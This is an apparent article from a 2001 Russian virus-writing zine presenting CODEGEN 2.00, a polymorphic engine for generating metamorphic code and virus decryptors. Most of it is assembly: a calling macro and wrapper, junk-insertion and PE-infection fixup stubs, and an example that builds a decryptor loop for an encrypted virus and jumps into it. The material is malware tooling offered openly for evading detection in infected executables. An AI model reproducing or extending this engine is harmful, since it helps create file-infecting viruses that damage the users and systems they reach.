·─T─┌O┐─T─┌A┐L···─Z┐┌0┐┌M┐┌B·i┌F─i┌C─┌A┐─T─i┌O┐┬N┬··························
│ │ │ │ ├─┤│ / │ ││││├┴┐┬├─ ┬│ ├─┤ │ ┬│ ││└┤ Issue #1, January-2001
··│·└─┘·│·│·│└─··└──└─┘│·│└─┘││··│└──│·│·│·│└─┘│·│··························
············································································
ГЕНЕРАТОР КОДА [cg200.zip]
············································································
Представляю вам улучшенную версию кодогенератора (CODEGEN 2.00). Этот
движок позволяет генерировать полиморфные команды, выполняющие заданные
действия с переменными в памяти. Применение: генерация метаморфного кода
либо декрипторов.
Основные действия (высокий уровень):
cmd v, c ; cmd = mov/cmp/add/sub/xor
cmd v1, [v2] ; v = variable, offset of some DWORD in memory
cmd [v1], v2 ; c = const
cmd v1, v2
Каждое их этих действий передает параметры различным низкоуровневым
(регистровым) вариантам, каждый из которых также имеет разные варианты;
в результате каждое высокоуровневое действие может быть произведено самыми
разными способами.
Например, <cmd v,c> может быть представлено как <mov r,c> и <cmd v,r>,
где r -- случайный регистр. В свою очередь <mov r,c> можно представить
как обычный mov, через push/pop, или же вызвать рекурсивно, через
временный регистр. <cmd v, r> также имеет варианты, например <lea r1, v> и
<cmd [r1], r>, где r1 -- еще один случайный регистр.
Необходимый для вызова кодогенератора стафф:
; syntax: gen cmd_x_x, cmd_xxx, arg1, arg2
gen macro a,b,c,d
push d
push c
push b
push a
call build
endm
build: pusha
push dword ptr [esp+32+16] ; arg2
push dword ptr [esp+32+12] +4 ; arg1
push dword ptr [esp+32+8] +8 ; cmd_xxx
push dword ptr [esp+32+4] +12 ; cmd_x_x
push offset my_random ; рандомер
push offset my_trash ; генератор мусора
push offset my_fixup ; обработчик фиксапов
push regavail ; используемые регистры, [REG_xxx]
push offset tmp_size ; DWORD, принимает длину буфера
push buf_ptr ; буфер
push user_param ; юзерский параметр
call codegen
add esp, 11*4
mov eax, tmp_size ; увеличим указатель
add buf_ptr, eax ; на длину сгенеренных данных
popa
retn
; используется для генерации мусора между инструкциями
my_trash: pusha
mov ebp, [esp+32+4] ; юзерский параметр
mov edi, [esp+32+8] ; указатель позиции
mov ecx, [esp+32+12] ; набор используемых регистров
...
mov al, 90h ; генерим мусор. здесь вызвать ETG
stosb
...
mov [esp+7*4], edi ; возвращаем измененный указатель
popa
retn
; используется для обработки оффсетов переменных,
; например можно добавить фиксапы в заражаемый PE файл
my_fixup: pusha
mov ebp, [esp+32+4] ; юзерский параметр
mov edi, [esp+32+8] ; указатель позиции
mov eax, [esp+32+12] ; значение фиксапа
...
stosd ; оффсет переменной
...
mov [esp+7*4], edi ; возвращаем измененный указатель
popa
retn
И теперь, пример вызова движка: (генерим декриптор)
var_index = 0C1000000h ; адреса каких-нибудь временных
var_t = 0C1000004h ; переменных в области VMM
mac1 cmd_v_c, cmd_mov, var_index, 0 ; index=0
; cycle:
mac1 cmd_v_v, cmd_mov, var_t, var_index ; mov t, index
mac1 cmd_v_v, cmd_add, var_t, vir_addr ; add t, vir_addr
mac1 cmd_memv_v, cmd_xor, var_t, 12345678h ; xor [t], <key>
mac1 cmd_v_c, cmd_add, var_index, 4 ; add index, 4
mac1 cmd_v_c, cmd_cmp, var_index, virsize ; cmp index, virsize
Что есть что в приведенном примере? var_index и var_t -- это
виртуальные адреса используемых переменных, они могут быть в секции
данных заражаемого файла или где-либо еще; vir_addr -- виртуальный адрес
зашифрованного вируса в файле; virsize -- длина зашифрованного вируса.
Таким образом к сгенеренному декриптору осталось приделать <JB cycle>
и <JMP NEAR PTR vir_addr>.
············································································